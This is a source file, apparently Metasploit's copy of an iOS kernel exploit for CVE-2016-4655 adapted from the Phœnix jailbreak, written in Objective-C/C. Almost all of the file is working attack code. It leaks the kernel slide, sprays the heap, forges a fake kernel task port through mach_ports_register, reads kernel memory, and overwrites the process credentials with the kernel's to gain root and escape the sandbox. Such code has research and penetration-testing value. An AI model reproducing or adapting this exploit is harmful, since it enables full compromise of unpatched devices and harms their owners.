Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2016-4655/exploit64.m
Views: 11779
/*1* exploit64.m - Get kernel_task, root and escape the sandbox2* Taken and modified from Phœnix Jailbreak3*4* Copyright (c) 2017 Siguza & tihmstar5*/67// Bugs by NSO Group / Lookout and Ian Beer.8// Thanks also to Max Bazaliy.910#include <stdio.h> // fprintf, stderr11#include <stdlib.h> // malloc, free12#include <sched.h> // sched_yield13#include <unistd.h> // getuid14#include <mach/mach.h>15#include <IOKit/IOKitLib.h>1617#include "arch.h"18#include "find.h"19#include "mach-o.h"20#include "nvpatch.h"2122/*** XXX ***/23// Offsets for iPhone SE (N69AP) 9.3.324#define TASK_ITK_REGISTERED_OFFSET 0x28825#define TASK_BSDINFO_OFFSET 0x30826#define BSDINFO_PID_OFFSET 0x1027#define BSDINFO_KAUTH_CRED_OFFSET 0x11828#define KAUTH_CRED_REF_COUNT 0x1029/*** XXX ***/3031#define msgh_request_port msgh_remote_port32#define msgh_reply_port msgh_local_port33#if !defined(_WALIGN_)34# define _WALIGN_(x) (((x) + 3) & ~3)35#endif3637static kern_return_t r3gister(task_t task, mach_port_array_t init_port_set, mach_msg_type_number_t real_count, mach_msg_type_number_t fake_count)38{39#pragma pack(4)40typedef struct {41mach_msg_header_t Head;42mach_msg_body_t msgh_body;43mach_msg_ool_ports_descriptor_t init_port_set;44NDR_record_t NDR;45mach_msg_type_number_t init_port_setCnt;46} Request;47typedef struct {48mach_msg_header_t Head;49NDR_record_t NDR;50kern_return_t RetCode;51mach_msg_trailer_t trailer;52} Reply;53#pragma pack()5455union {56Request In;57Reply Out;58} Mess;59Request *InP = &Mess.In;60Reply *OutP = &Mess.Out;6162InP->msgh_body.msgh_descriptor_count = 1;63InP->init_port_set.address = (void*)(init_port_set);64InP->init_port_set.count = real_count;65InP->init_port_set.disposition = 19;66InP->init_port_set.deallocate = FALSE;67InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;68InP->NDR = NDR_record;69InP->init_port_setCnt = fake_count; // was real_count70InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);71InP->Head.msgh_request_port = task;72InP->Head.msgh_reply_port = mig_get_reply_port();73InP->Head.msgh_id = 3403;7475kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);76if(ret == KERN_SUCCESS)77{78ret = OutP->RetCode;79}80return ret;81}8283static kern_return_t my_io_service_add_notification_ool84(85mach_port_t master_port,86io_name_t notification_type,87io_buf_ptr_t matching,88mach_msg_type_number_t matchingCnt,89mach_port_t wake_port,90io_async_ref64_t reference,91mach_msg_type_number_t referenceCnt,92mach_port_t *notification93)94{95#pragma pack(4)96typedef struct {97mach_msg_header_t Head;98mach_msg_body_t msgh_body;99mach_msg_ool_descriptor_t matching;100mach_msg_port_descriptor_t wake_port;101NDR_record_t NDR;102mach_msg_type_number_t notification_typeOffset;103mach_msg_type_number_t notification_typeCnt;104char notification_type[128];105mach_msg_type_number_t matchingCnt;106mach_msg_type_number_t referenceCnt;107io_user_reference_t reference[8];108} Request;109typedef struct {110mach_msg_header_t Head;111mach_msg_body_t msgh_body;112mach_msg_port_descriptor_t notification;113NDR_record_t NDR;114kern_return_t result;115mach_msg_trailer_t trailer;116} Reply;117#pragma pack()118119union {120Request In;121Reply Out;122} Mess;123Request *InP = &Mess.In;124Reply *Out0P = &Mess.Out;125126InP->msgh_body.msgh_descriptor_count = 2;127InP->matching.address = (void*)(matching);128InP->matching.size = matchingCnt;129InP->matching.deallocate = FALSE;130InP->matching.copy = MACH_MSG_PHYSICAL_COPY;131InP->matching.type = MACH_MSG_OOL_DESCRIPTOR;132InP->wake_port.name = wake_port;133InP->wake_port.disposition = 20;134InP->wake_port.type = MACH_MSG_PORT_DESCRIPTOR;135InP->NDR = NDR_record;136137if(mig_strncpy_zerofill != NULL)138{139InP->notification_typeCnt = mig_strncpy_zerofill(InP->notification_type, notification_type, 128);140}141else142{143InP->notification_typeCnt = mig_strncpy(InP->notification_type, notification_type, 128);144}145146unsigned int msgh_size_delta = _WALIGN_(InP->notification_typeCnt);147unsigned int msgh_size = (mach_msg_size_t)(sizeof(Request) - 192) + msgh_size_delta;148InP = (Request *) ((pointer_t) InP + msgh_size_delta - 128);149InP->matchingCnt = matchingCnt;150151if(referenceCnt > 8)152{153return MIG_ARRAY_TOO_LARGE;154}155memcpy((char *) InP->reference, (const char *) reference, 8 * referenceCnt);156157InP->referenceCnt = referenceCnt;158msgh_size += (8 * referenceCnt);159InP = &Mess.In;160InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);161InP->Head.msgh_request_port = master_port;162InP->Head.msgh_reply_port = mig_get_reply_port();163InP->Head.msgh_id = 2870;164InP->Head.msgh_reserved = 0;165166kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG | MACH_RCV_MSG | MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);167if(ret == KERN_SUCCESS)168{169ret = Out0P->result;170}171*notification = Out0P->notification.name;172return ret;173}174175static kern_return_t my_io_service_open_extended176(177mach_port_t service,178task_t owningTask,179uint32_t connect_type,180NDR_record_t ndr,181io_buf_ptr_t properties,182mach_msg_type_number_t propertiesCnt,183mach_port_t *connection184)185{186#pragma pack(4)187typedef struct {188mach_msg_header_t Head;189mach_msg_body_t msgh_body;190mach_msg_port_descriptor_t owningTask;191mach_msg_ool_descriptor_t properties;192NDR_record_t NDR;193uint32_t connect_type;194NDR_record_t ndr;195mach_msg_type_number_t propertiesCnt;196} Request;197typedef struct {198mach_msg_header_t Head;199mach_msg_body_t msgh_body;200mach_msg_port_descriptor_t connection;201NDR_record_t NDR;202kern_return_t result;203mach_msg_trailer_t trailer;204} Reply;205#pragma pack()206207union {208Request In;209Reply Out;210} Mess;211Request *InP = &Mess.In;212Reply *Out0P = &Mess.Out;213214InP->msgh_body.msgh_descriptor_count = 2;215InP->owningTask.name = owningTask;216InP->owningTask.disposition = 19;217InP->owningTask.type = MACH_MSG_PORT_DESCRIPTOR;218219InP->properties.address = (void*)(properties);220InP->properties.size = propertiesCnt;221InP->properties.deallocate = FALSE;222InP->properties.copy = MACH_MSG_PHYSICAL_COPY;223InP->properties.type = MACH_MSG_OOL_DESCRIPTOR;224225InP->NDR = NDR_record;226InP->connect_type = connect_type;227InP->ndr = ndr;228InP->propertiesCnt = propertiesCnt;229InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);230InP->Head.msgh_request_port = service;231InP->Head.msgh_reply_port = mig_get_reply_port();232InP->Head.msgh_id = 2862;233InP->Head.msgh_reserved = 0;234235kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG | MACH_RCV_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);236if(ret == KERN_SUCCESS)237{238ret = Out0P->result;239}240*connection = Out0P->connection.name;241return ret;242}243244enum245{246kOSSerializeDictionary = 0x01000000U,247kOSSerializeArray = 0x02000000U,248kOSSerializeSet = 0x03000000U,249kOSSerializeNumber = 0x04000000U,250kOSSerializeSymbol = 0x08000000U,251kOSSerializeString = 0x09000000U,252kOSSerializeData = 0x0a000000U,253kOSSerializeBoolean = 0x0b000000U,254kOSSerializeObject = 0x0c000000U,255256kOSSerializeTypeMask = 0x7F000000U,257kOSSerializeDataMask = 0x00FFFFFFU,258259kOSSerializeEndCollection = 0x80000000U,260261kOSSerializeMagic = 0x000000d3U,262};263264#define MIG_MAX 0x1000265#define PUSH(v) \266do \267{ \268if(idx >= MIG_MAX / sizeof(uint32_t)) \269{ \270return KERN_NO_SPACE; \271} \272dict[idx] = (v); \273++idx; \274} while(0)275276static kern_return_t prepare_ptr(uint32_t *dict, size_t *size, uintptr_t ptr, size_t num)277{278size_t idx = 0;279280PUSH(kOSSerializeMagic);281PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1);282PUSH(kOSSerializeSymbol | 4);283PUSH(0x0079656b); // "key"284PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num);285286for(size_t i = 0; i < num; ++i)287{288PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | (2 * sizeof(uintptr_t)));289PUSH(((uint32_t*)&ptr)[0]);290PUSH(((uint32_t*)&ptr)[1]);291PUSH(((uint32_t*)&ptr)[0]);292PUSH(((uint32_t*)&ptr)[1]);293}294295*size = idx * sizeof(uint32_t);296return KERN_SUCCESS;297}298299#undef PUSH300301static kern_return_t spray(const void *dict, size_t size, mach_port_t *port)302{303static io_master_t master = MACH_PORT_NULL;304if(master == MACH_PORT_NULL)305{306kern_return_t ret = host_get_io_master(mach_host_self(), &master);307if(ret != KERN_SUCCESS)308{309return ret;310}311}312313return my_io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, (uint32_t)size, MACH_PORT_NULL, NULL, 0, port);314}315316static kern_return_t send_ports(mach_port_t target, mach_port_t payload, mach_msg_size_t num)317{318mach_port_t init_port_set[num];319for(size_t i = 0; i < num; ++i)320{321init_port_set[i] = payload;322}323324#pragma pack(4)325typedef struct {326mach_msg_header_t Head;327mach_msg_body_t msgh_body;328mach_msg_ool_ports_descriptor_t init_port_set[1];329} Request;330#pragma pack()331332Request req;333334req.msgh_body.msgh_descriptor_count = 1;335req.init_port_set[0].address = (void*)(init_port_set);336req.init_port_set[0].count = num;337req.init_port_set[0].disposition = 19;338req.init_port_set[0].deallocate = FALSE;339req.init_port_set[0].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;340341req.Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);342req.Head.msgh_request_port = target;343req.Head.msgh_reply_port = 0;344req.Head.msgh_id = 1337;345346return mach_msg(&req.Head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(req), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);347}348349static kern_return_t receive_ports(mach_port_t port, mach_port_t **payload)350{351#pragma pack(4)352typedef struct {353mach_msg_header_t Head;354mach_msg_body_t msgh_body;355mach_msg_ool_ports_descriptor_t init_port_set[1];356mach_msg_trailer_t trailer;357} Reply;358#pragma pack()359360Reply rep;361kern_return_t ret = mach_msg(&rep.Head, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, sizeof(rep), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);362if(ret == KERN_SUCCESS && payload)363{364*payload = rep.init_port_set[0].address;365}366return ret;367}368369static void release_ports(mach_port_t *arr, size_t size)370{371task_t self = mach_task_self();372for(size_t i = 0; i < size; ++i)373{374if(arr[i] != MACH_PORT_NULL)375{376mach_port_destroy(self, arr[i]);377arr[i] = MACH_PORT_NULL;378}379}380}381382typedef struct {383struct {384uintptr_t data;385uintptr_t pad;386uintptr_t type;387} lock; // mutex lock388uint32_t ref_count;389char pad[TASK_BSDINFO_OFFSET - sizeof(uint32_t) - 3 * sizeof(uintptr_t)];390uintptr_t bsd_info;391} ktask_t;392393typedef struct __attribute__((__packed__)) {394uint32_t ip_bits;395uint32_t ip_references;396struct __attribute__((__packed__)) {397uintptr_t data;398uint32_t pad;399uint32_t type;400} ip_lock; // spinlock401struct __attribute__((__packed__)) {402struct __attribute__((__packed__)) {403struct __attribute__((__packed__)) {404uint32_t flags;405uint32_t waitq_interlock;406uint64_t waitq_set_id;407uint64_t waitq_prepost_id;408struct __attribute__((__packed__)) {409uintptr_t next;410uintptr_t prev;411} waitq_queue;412} waitq;413uintptr_t messages;414natural_t seqno;415natural_t receiver_name;416uint16_t msgcount;417uint16_t qlimit;418} port;419} ip_messages;420natural_t ip_flags;421uintptr_t ip_receiver;422uintptr_t ip_kobject;423uintptr_t ip_nsrequest;424uintptr_t ip_pdrequest;425uintptr_t ip_requests;426uintptr_t ip_premsg;427uint64_t ip_context;428natural_t ip_mscount;429natural_t ip_srights;430natural_t ip_sorights;431} kport_t;432433#define OUT_LABEL(label, code...) \434do \435{ \436ret = (code); \437if(ret != KERN_SUCCESS) \438{ \439LOG(#code ": %s (%u)", mach_error_string(ret), ret); \440goto label; \441} \442} while(0)443444#define OUT(code...) OUT_LABEL(out, ##code)445446static kern_return_t get_kernel_anchor(size_t *anchor)447{448kern_return_t ret = KERN_FAILURE;449task_t self = mach_task_self();450io_service_t service = MACH_PORT_NULL;451io_connect_t client = MACH_PORT_NULL;452io_iterator_t it = MACH_PORT_NULL;453io_object_t o = MACH_PORT_NULL;454455service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleMobileFileIntegrity"));456if(!MACH_PORT_VALID(service))457{458LOG("Invalid service");459goto out;460}461462const char xml[] = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>";463OUT(my_io_service_open_extended(service, self, 0, NDR_record, (char*)xml, sizeof(xml), &client));464OUT(IORegistryEntryGetChildIterator(service, "IOService", &it));465466bool found = false;467while((o = IOIteratorNext(it)) != MACH_PORT_NULL && !found)468{469uintptr_t buf[16];470uint32_t size = (uint32_t)sizeof(buf);471ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", (char*)buf, &size);472if(ret == KERN_SUCCESS)473{474*anchor = buf[1];475found = true;476}477IOObjectRelease(o);478o = MACH_PORT_NULL;479}480481out:;482if(it != MACH_PORT_NULL)483{484IOObjectRelease(it);485}486if(client != MACH_PORT_NULL)487{488IOObjectRelease(client);489}490if(service != MACH_PORT_NULL)491{492IOObjectRelease(service);493}494return ret;495}496497#define NUM_FILL 100498#define NUM_SPRAY 1000499500task_t get_kernel_task(vm_address_t *kbase)501{502kern_return_t ret;503mach_port_limits_t limits = { .mpl_qlimit = 1000 };504mach_port_t cleanup_port = MACH_PORT_NULL,505fake_port = MACH_PORT_NULL,506port = MACH_PORT_NULL;507uintptr_t kptr = 0,508kernel_base = 0;509task_t kernel_task = MACH_PORT_NULL,510self = mach_task_self();511size_t anchor = 0,512size_big = 0,513size_small = 0;514segment_t __text =515{516.addr = 0,517.len = 0,518.buf = NULL,519};520bool need_cleanup = false;521void *dict_big = malloc(MIG_MAX),522*dict_small = malloc(MIG_MAX);523mach_hdr_t *hdr = malloc(MAX_HEADER_SIZE);524if(!dict_big || !dict_small || !hdr)525{526LOG("Failed to allocate dicts");527goto out;528}529530OUT(mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &cleanup_port));531OUT(mach_port_insert_right(self, cleanup_port, cleanup_port, MACH_MSG_TYPE_MAKE_SEND));532OUT(mach_port_set_attributes(self, cleanup_port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT));533534OUT(mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &port));535OUT(mach_port_insert_right(self, port, port, MACH_MSG_TYPE_MAKE_SEND));536OUT(mach_port_set_attributes(self, port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT));537538ktask_t ktask =539{540.ref_count = 100,541.bsd_info = 0xffffff8069696969, // dummy542};543kport_t kport =544{545.ip_bits = 0x80000002, // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK546.ip_references = 100,547.ip_lock =548{549.type = 0x11,550},551.ip_messages =552{553.port =554{555.receiver_name = 1,556.msgcount = MACH_PORT_QLIMIT_KERNEL,557.qlimit = MACH_PORT_QLIMIT_KERNEL,558},559},560.ip_receiver = 0x12345678, // dummy561.ip_srights = 99,562};563#define KREAD(addr, buf, size) \564do \565{ \566for(size_t i = 0; i < ((size) + sizeof(uint32_t) - 1) / sizeof(uint32_t); ++i) \567{ \568ktask.bsd_info = (addr + i * sizeof(uint32_t)) - BSDINFO_PID_OFFSET; \569OUT(pid_for_task(fake_port, (int*)((uint32_t*)(buf) + i))); \570} \571} while(0)572573LOG("Leaking kernel slide...");574OUT(get_kernel_anchor(&anchor));575LOG("anchor: 0x%lx", anchor);576kptr = (uintptr_t)&kport;577578LOG("Preparing data...");579OUT(prepare_ptr(dict_big, &size_big, kptr, 200));580OUT(prepare_ptr(dict_small, &size_small, kptr, 32));581kport.ip_kobject = (uintptr_t)&ktask;582583again:;584LOG("Filling holes...");585sched_yield();586mach_port_t fill[NUM_FILL];587for(size_t i = 0; i < NUM_FILL; ++i)588{589OUT(spray(dict_big, size_big, &fill[i]));590}591592LOG("Spraying data...");593sched_yield();594mach_port_t small[NUM_SPRAY];595for(size_t i = 0; i < NUM_SPRAY; ++i)596{597OUT(send_ports(port, port, 2));598OUT(spray(dict_small, size_small, &small[i]));599}600601LOG("Punching holes...");602sched_yield();603for(size_t i = 0; i < NUM_SPRAY; ++i)604{605OUT(receive_ports(port, NULL));606}607608mach_port_t arr[2] = { MACH_PORT_NULL, MACH_PORT_NULL };609OUT(r3gister(self, arr, 2, 3));610611mach_port_t *arrz = NULL;612mach_msg_type_number_t sz = 3;613mach_ports_lookup(self, &arrz, &sz);614LOG("ports %x %x %x\n", arrz[0], arrz[1], arrz[2]);615616fake_port = arrz[2];617if(!MACH_PORT_VALID(fake_port))618{619LOG("Exploit failed, retrying...");620// TODO: fix ports leak621goto again;622}623624LOG("Determining kernel base...");625kernel_base = (anchor & 0xfffffffffff00000) + 0x4000;626for(uint32_t val = 0; 1; kernel_base -= 0x100000)627{628KREAD(kernel_base, &val, sizeof(val));629if(val == MH_MAGIC_64)630{631break;632}633}634LOG("Kernel base: 0x%lx", kernel_base);635636KREAD(kernel_base, hdr, MAX_HEADER_SIZE);637CMD_ITERATE(hdr, cmd)638{639switch(cmd->cmd)640{641case MACH_LC_SEGMENT:642{643mach_seg_t *seg = (mach_seg_t*)cmd;644if(strcmp(seg->segname, "__TEXT") == 0)645{646__text.addr = seg->vmaddr;647__text.len = seg->vmsize;648__text.buf = malloc(seg->vmsize);649LOG("Found __TEXT segment at %lx", __text.addr);650KREAD(__text.addr, __text.buf, __text.len);651goto found;652}653}654break;655}656}657if(__text.buf == NULL)658{659LOG("Failed to find __TEXT segment");660goto out;661}662663found:;664uintptr_t kernel_task_sym = find_kernel_task(&__text),665ipc_space_kernel_sym = find_ipc_space_kernel(&__text);666if(!kernel_task_sym || !ipc_space_kernel_sym)667{668LOG("Failed to find kernel symbols");669goto out;670}671672uintptr_t kernel_task_addr = 0;673KREAD(kernel_task_sym, &kernel_task_addr, sizeof(kernel_task_addr));674LOG("kernel_task address: 0x%lx", kernel_task_addr);675676uintptr_t ipc_space_kernel_addr = 0;677KREAD(ipc_space_kernel_sym, &ipc_space_kernel_addr, sizeof(ipc_space_kernel_addr));678LOG("ipc_space_kernel address: 0x%lx", ipc_space_kernel_addr);679680kport.ip_receiver = ipc_space_kernel_addr;681kport.ip_kobject = kernel_task_addr;682683LOG("Getting real kernel_task...");684OUT(task_get_special_port(fake_port, 1, &kernel_task));685release_ports(&fake_port, 1); // need to release before return, port is allocated on the stack686687LOG("Getting root...");688OUT(r3gister(kernel_task, &self, 1, 1));689uintptr_t self_port_addr = 0;690vm_size_t size = sizeof(self_port_addr);691OUT(vm_read_overwrite(kernel_task, kernel_task_addr + TASK_ITK_REGISTERED_OFFSET, size, (vm_address_t)&self_port_addr, &size));692LOG("self port address: 0x%lx", self_port_addr);693OUT(r3gister(kernel_task, NULL, 0, 0));694695uintptr_t self_task_addr = 0;696size = sizeof(self_task_addr);697OUT(vm_read_overwrite(kernel_task, self_port_addr + ((uintptr_t)&kport.ip_kobject - (uintptr_t)&kport), size, (vm_address_t)&self_task_addr, &size));698LOG("self task address: 0x%lx", self_task_addr);699700uintptr_t self_proc_addr = 0;701size = sizeof(self_proc_addr);702OUT(vm_read_overwrite(kernel_task, self_task_addr + TASK_BSDINFO_OFFSET, size, (vm_address_t)&self_proc_addr, &size));703LOG("self proc address: 0x%lx", self_proc_addr);704705// We're borrowing the kernel's creds here706uintptr_t kern_proc_addr = 0;707size = sizeof(kern_proc_addr);708OUT(vm_read_overwrite(kernel_task, kernel_task_addr + TASK_BSDINFO_OFFSET, size, (vm_address_t)&kern_proc_addr, &size));709LOG("kern_proc address: 0x%lx", kern_proc_addr);710711uintptr_t kern_kauth_cred_addr = 0;712size = sizeof(kern_kauth_cred_addr);713OUT(vm_read_overwrite(kernel_task, kern_proc_addr + BSDINFO_KAUTH_CRED_OFFSET, size, (vm_address_t)&kern_kauth_cred_addr, &size));714LOG("kern kauth cred address: 0x%lx", kern_kauth_cred_addr);715716// Ref count717unsigned long refs = 0;718size = sizeof(refs);719OUT(vm_read_overwrite(kernel_task, kern_kauth_cred_addr + KAUTH_CRED_REF_COUNT, size, (vm_address_t)&refs, &size));720++refs;721size = sizeof(refs);722OUT(vm_write(kernel_task, kern_kauth_cred_addr + KAUTH_CRED_REF_COUNT, (vm_offset_t)&refs, sizeof(refs)));723724// Yeehaa725OUT(vm_write(kernel_task, self_proc_addr + BSDINFO_KAUTH_CRED_OFFSET, (vm_offset_t)&kern_kauth_cred_addr, sizeof(kern_kauth_cred_addr)));726727setuid(0); // update host port, security token and whatnot728LOG("uid: %u", getuid());729730LOG("Cleaning up...");731OUT(r3gister(self, arr, 2, 2));732if(need_cleanup)733{734while(1)735{736mach_port_t *dangling_port = NULL;737ret = receive_ports(cleanup_port, &dangling_port);738if(ret != KERN_SUCCESS)739{740break;741}742743LOG("Unregistering port %x...", *dangling_port);744OUT(r3gister(kernel_task, dangling_port, 1, 1));745uintptr_t zero = 0;746OUT(vm_write(kernel_task, kernel_task_addr + TASK_ITK_REGISTERED_OFFSET, (vm_offset_t)&zero, sizeof(zero)));747}748}749750out:;751if(MACH_PORT_VALID(fake_port) && __text.buf == NULL)752{753// If we got here but got an actual port and do not yet have a leaked __text segment, that means the pointer we read was the wrong one.754// We want to try again, but we need to retain the wrong port because mach_ports_register releases it, which means if we do nothing755// and our process dies, the ports cleanup would cause a kernel panic.756// To prevent that, we send it to the cleanup port (thereby increasing the ref count) so that later when we have kernel memory access,757// we can register the port on the kernel task and then zero out the pointer (without decreasing the ref count).758ret = send_ports(cleanup_port, fake_port, 1);759if(ret == KERN_SUCCESS)760{761fake_port = MACH_PORT_NULL;762need_cleanup = true;763LOG("Exploit failed, retrying...");764// TODO: fix ports leak765goto again;766}767printf("send_ports(): %s\n", mach_error_string(ret));768}769release_ports(small, NUM_SPRAY);770release_ports(fill, NUM_FILL);771if(dict_big)772{773free(dict_big);774}775if(dict_small)776{777free(dict_small);778}779if(hdr)780{781free(hdr);782}783if(__text.buf != NULL)784{785free(__text.buf);786}787*kbase = kernel_base;788return kernel_task;789}790791792